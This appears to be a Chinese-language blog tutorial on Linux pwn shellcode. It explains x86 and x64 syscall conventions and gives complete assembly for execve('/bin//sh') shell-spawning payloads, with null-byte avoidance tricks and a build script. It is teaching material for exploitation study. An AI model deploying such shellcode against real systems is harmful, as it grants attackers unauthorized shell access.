Linux Pwn - Shellcode

简易shellcode:使用execve来调用本地shell

系统调用

系统调用相关的指令有:

  • int 0x80/iret
    • 软中断
    • eax为系统调用号,参数依次为ebxecxedxesiedi
  • sysenter/sysret
    • x86下快速系统调用
  • syscall/sysret
    • x64下快速系统调用
    • rax为系统调用号,参数依次为rdirsirdxr10r8r9

Linux execve shellcode

利用execve系统调用可以启动一个新程序

1
2
3
4
5
6
7
8
9
10
EXECVE(2)                                        Linux Programmer's Manual                                        EXECVE(2)

NAME
execve - execute program

SYNOPSIS
#include <unistd.h>

int execve(const char *filename, char *const argv[],
char *const envp[]);

unistd_32.hunistd_64.h下保存着各个系统调用编号

1
2
3
4
5
// unistd_32.h
#define __NR_execve 11

// unistd_64.h
#define __NR_execve 59

x86

需要注意/bin/sh为7个字节,改为/bin//sh为8个字节刚好把\x00给去掉,而linux解析不会出问题,防止NULL截断

由于字节序的问题,/bin/sh必须要做处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
global _start
section .text

_start:
; execve("/bin//sh")
xor eax, eax
push eax

; ecx -> args, edx -> env == NULL
mul ecx

; push "/bin//sh"
push 0x68732F2F
push 0x6E69622F

; ebx -> "/bin//sh"
mov ebx, esp

; call execve
mov al, 11
int 0x80

x64

在x64下/bin/sh刚好可以利用传输数据时64位位长来隐式将\x00填上去,不用考虑截断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
global _start
section .text

_start:
; rsi -> args
xor rsi,rsi
xor rdx, rdx

; push "/bin//sh"
mov rdi,0x68732f6e69622f
push rdi
push rsp
; rdi -> "/bin//sh"
pop rdi

push 59
pop rax
cdq
; call execve("/bin//sh")
syscall

生成shellcode

1
2
3
4
5
6
7
8
9
10
11
12
; GetShellCode.sh
if [ $2 = "-m32" ]
then
nasm -f elf32 $1 -o shellcode.o
ld -m elf_i386 shellcode.o -o shellcode
rm -rf shellcode.o
elif [ $2 = "-m64" ]
then
nasm -f elf64 $1 -o shellcode.o
ld -m elf_x86_64 shellcode.o -o shellcode
rm -rf shellcode.o
fi
打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021 lzeroyuee
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信